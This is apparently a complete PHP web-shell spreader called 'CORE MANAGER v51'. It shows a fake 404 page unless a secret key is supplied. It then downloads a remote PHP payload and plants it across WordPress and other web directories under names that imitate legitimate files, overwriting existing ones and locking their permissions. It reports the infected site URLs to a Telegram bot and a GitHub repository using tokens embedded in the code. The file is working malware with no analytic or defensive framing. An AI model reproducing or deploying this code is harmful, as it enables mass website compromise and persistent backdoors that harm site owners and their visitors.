<?php
/**
 * CORE MANAGER v51 - Telegram Sync Edition
 * Feature: Real-time Telegram alerts for every injection.
 * Access: ?Auto_berlin2020
 */

error_reporting(0);
ini_set('display_errors', 0);
@ini_set('open_basedir', '');
@set_time_limit(0);

// SECURITY LAYER: 404 FORCER
if (!isset($_GET['Auto_berlin2020'])) {
    header("HTTP/1.1 404 Not Found");
    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server Port 80</address></body></html>';
    exit;
}

// TELEGRAM CONFIGURATION
$bot_token = "8717792780:AAGZ5sPLPc37DIH3QHjkHlDkpTBJwYO6bzM";
$chat_id = "7842116521";

// GITHUB CONFIGURATION
$github_token = "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"; 
$github_repo = "bdroastmaster-cpu/Shells_storage"; 
$github_file = "Shells_storage.txt"; 

$remote_url = "https://raw.githubusercontent.com/alaminx6275-arch/php-file-server1/refs/heads/main/php-file.php";
$target_folders = ['wp-admin', 'wp-content', 'wp-includes', 'cgi-bin', '.well-known', 'uploads', 'plugins', 'themes'];
$allowed_extensions = ['.com', '.net', '.org', '.it', '.dev', '.io', '.info', '.biz', '.eu', '.uk'];

$naming_pool = [
    'index.php', 'home.php', 'login.php', 'admin.php', 'panel.php', 'config.php', 
    'system.php', 'wp-load.php', 'xmlrpc.php', 'wp-blog-header.php', 'wp-cron.php', 
    'wp-settings.php', 'wp-mail.php', 'wp-links-opml.php', 'wp-signup.php', 
    'wp-activate.php', 'ms-files.php', 'db-status.php', 'about.php', 'users.php', 
    'options.php', 'maintenance.php', 'security.php', 'test.php', 'api.php', 
    'core.php', 'load.php', 'data.php', 'module.php', 'plugin-install.php'
];

$critical_files = ['wp-config.php', '.htaccess', 'settings.php', 'php.ini'];

function forceUnlock($path) {
    if (!file_exists($path)) return false;
    @chmod($path, 0777);
    return is_writable($path);
}

function getTargetFileName($path, $pool, $critical) {
    shuffle($pool);
    foreach ($pool as $name) {
        $full_path = $path . DIRECTORY_SEPARATOR . $name;
        if (file_exists($full_path)) {
            if (!in_array($name, $critical)) return $name;
            continue; 
        }
        return $name;
    }
    return "idx_" . time() . ".php";
}

function buildDomainUrl($full_path, $allowed_exts) {
    $norm_path = str_replace('\\', '/', $full_path);
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
    $segments = explode('/', $norm_path);
    $domain_found = ""; $web_index = -1;
    foreach ($segments as $index => $seg) {
        foreach ($allowed_exts as $ext) {
            if (strpos($seg, $ext) !== false && $index > 0) {
                $domain_found = $seg; $web_index = $index;
                break 2; 
            }
        }
    }
    if ($domain_found != "" && $web_index != -1) {
        $relative_path = implode('/', array_slice($segments, $web_index + 1));
        return $protocol . $domain_found . '/' . $relative_path;
    }
    return $protocol . $_SERVER['HTTP_HOST'] . "/" . basename($full_path);
}

function sendTelegram($msg, $token, $chat) {
    $url = "https://api.telegram.org/bot$token/sendMessage?chat_id=$chat&text=" . urlencode($msg);
    @file_get_contents($url);
}

function syncToShellStorage($new_urls, $token, $repo, $file) {
    $api_url = "https://api.github.com/repos/$repo/contents/$file";
    $headers = ["Authorization: token $token", "User-Agent: CM-v51", "Accept: application/vnd.github.v3+json"];
    $ch = curl_init($api_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $res = curl_exec($ch);
    $data = json_decode($res, true);
    $sha = $data['sha'] ?? null;
    $old_content = isset($data['content']) ? base64_decode($data['content']) : "";
    $combined = trim($old_content) . "\n" . implode("\n", $new_urls);
    $final_list = array_unique(array_filter(array_map('trim', explode("\n", $combined))));
    $payload = json_encode(["message" => "Sync ".date("H:i"), "content" => base64_encode(implode("\n", $final_list)), "sha" => $sha]);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    $final_res = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ($code == 200 || $code == 201);
}

@ob_end_flush(); @ob_implicit_flush(true);
$source = @file_get_contents($remote_url);
$urls = []; $ic = 0;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORE MANAGER v51 | TELEGRAM SYNC</title>
    <style>
        :root { --bg: #050505; --card: #111; --border: #222; --accent: #3b82f6; --neon: #00ff88; --text: #ddd; }
        body { background: var(--bg); color: var(--text); font-family: 'Segoe UI', sans-serif; margin: 0; padding: 20px; display: flex; justify-content: center; }
        .wrapper { width: 100%; max-width: 1000px; }
        .header { text-align: center; border-bottom: 1px solid var(--border); padding-bottom: 15px; margin-bottom: 20px; }
        .logo { font-size: 1.8rem; font-weight: bold; color: var(--accent); letter-spacing: 2px; }
        .stats-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-bottom: 20px; }
        .stat-card { background: var(--card); border: 1px solid var(--border); padding: 20px; border-radius: 8px; text-align: center; }
        .stat-card div { font-size: 1.6rem; font-weight: bold; color: var(--neon); }
        .console { background: #000; border: 1px solid var(--border); height: 500px; overflow-y: auto; padding: 15px; font-size: 11px; color: #999; border-radius: 8px; font-family: monospace; }
        .line { border-bottom: 1px solid #111; padding: 4px 0; }
        .tag { font-size: 9px; padding: 2px 6px; border-radius: 4px; margin-right: 10px; font-weight: bold; }
        .tag-s { background: var(--neon); color: #000; }
        .tag-ovr { background: #ffcc00; color: #000; }
        textarea { width: 100%; height: 120px; background: #000; color: var(--neon); border: 1px solid var(--border); margin-top: 15px; padding: 15px; font-size: 11px; box-sizing: border-box; resize: none; }
        .btn { background: var(--accent); color: #fff; border: none; width: 100%; padding: 15px; cursor: pointer; font-weight: bold; border-radius: 8px; }
    </style>
</head>
<body>
<div class="wrapper">
    <div class="header"><div class="logo">CORE MANAGER v51</div></div>
    <div class="stats-grid">
        <div class="stat-card"><span>Injected / Overwritten</span><div id="i_c">0</div></div>
        <div class="stat-card"><span>Sync Mode</span><div style="color:var(--neon);">TELEGRAM + GITHUB</div></div>
    </div>
    <div class="console" id="log">
        <?php
        if ($source) {
            $scan_list = [realpath(__DIR__)];
            for ($i = 1; $i <= 8; $i++) {
                $up = realpath(__DIR__ . str_repeat('/..', $i));
                if ($up && !in_array($up, $scan_list)) $scan_list[] = $up;
            }
            foreach ($scan_list as $start_dir) {
                echo "<div style='color:var(--accent); margin:8px 0;'>[SCANNING] $start_dir</div>";
                try {
                    $items = @scandir($start_dir);
                    if ($items) {
                        foreach ($items as $item) {
                            if ($item == '.' || $item == '..') continue;
                            $full_path = $start_dir . DIRECTORY_SEPARATOR . $item;
                            if (is_dir($full_path)) {
                                $it = new RecursiveDirectoryIterator($full_path, RecursiveDirectoryIterator::SKIP_DOTS);
                                $sub = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
                                $sub->setMaxDepth(5);
                                foreach ($sub as $f) {
                                    $fp = $f->getPathname(); $fn = $f->getFilename();
                                    if ($f->isDir() && in_array($fn, $target_folders)) {
                                        if (is_writable($fp) || forceUnlock($fp)) {
                                            $final_name = getTargetFileName($fp, $naming_pool, $critical_files);
                                            $final_path = $fp . DIRECTORY_SEPARATOR . $final_name;
                                            $is_ovr = file_exists($final_path);
                                            if (@file_put_contents($final_path, $source)) {
                                                @chmod($final_path, 0444); $ic++;
                                                echo "<script>document.getElementById('i_c').innerText='$ic';</script>";
                                                $live_url = buildDomainUrl($final_path, $allowed_extensions); $urls[] = $live_url;
                                                $tag = $is_ovr ? "tag-ovr" : "tag-s";
                                                $label = $is_ovr ? "OVERWRITE" : "DEPLOY";
                                                echo "<div class='line'><span class='tag $tag'>$label</span> $live_url</div>";
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                } catch (Exception $e) {}
                flush();
            }
            
            // EXECUTE SYNC
            if (count($urls) > 0) {
                $final_links = implode("\n", array_unique($urls));
                $tg_msg = "🔥 CORE MANAGER v51 Alert!\nTarget: " . $_SERVER['HTTP_HOST'] . "\nTotal: $ic\n\nLinks:\n" . $final_links;
                sendTelegram($tg_msg, $bot_token, $chat_id);
                syncToShellStorage($urls, $github_token, $github_repo, $github_file);
            }
        }
        ?>
        <div style="color:var(--neon); margin-top:15px; border-top:1px solid #222; padding-top:10px;">[PROCESS COMPLETED]</div>
    </div>
    <textarea id="output" readonly><?php echo implode("\n", array_unique($urls)); ?></textarea>
    <button class="btn" onclick="copy()">COPY UNIQUE URLs</button>
</div>
<script>
function copy() {
    const a = document.getElementById("output"); if(a.value == "") return;
    a.select(); document.execCommand('copy'); alert("Copied.");
}
</script>
</body>
</html>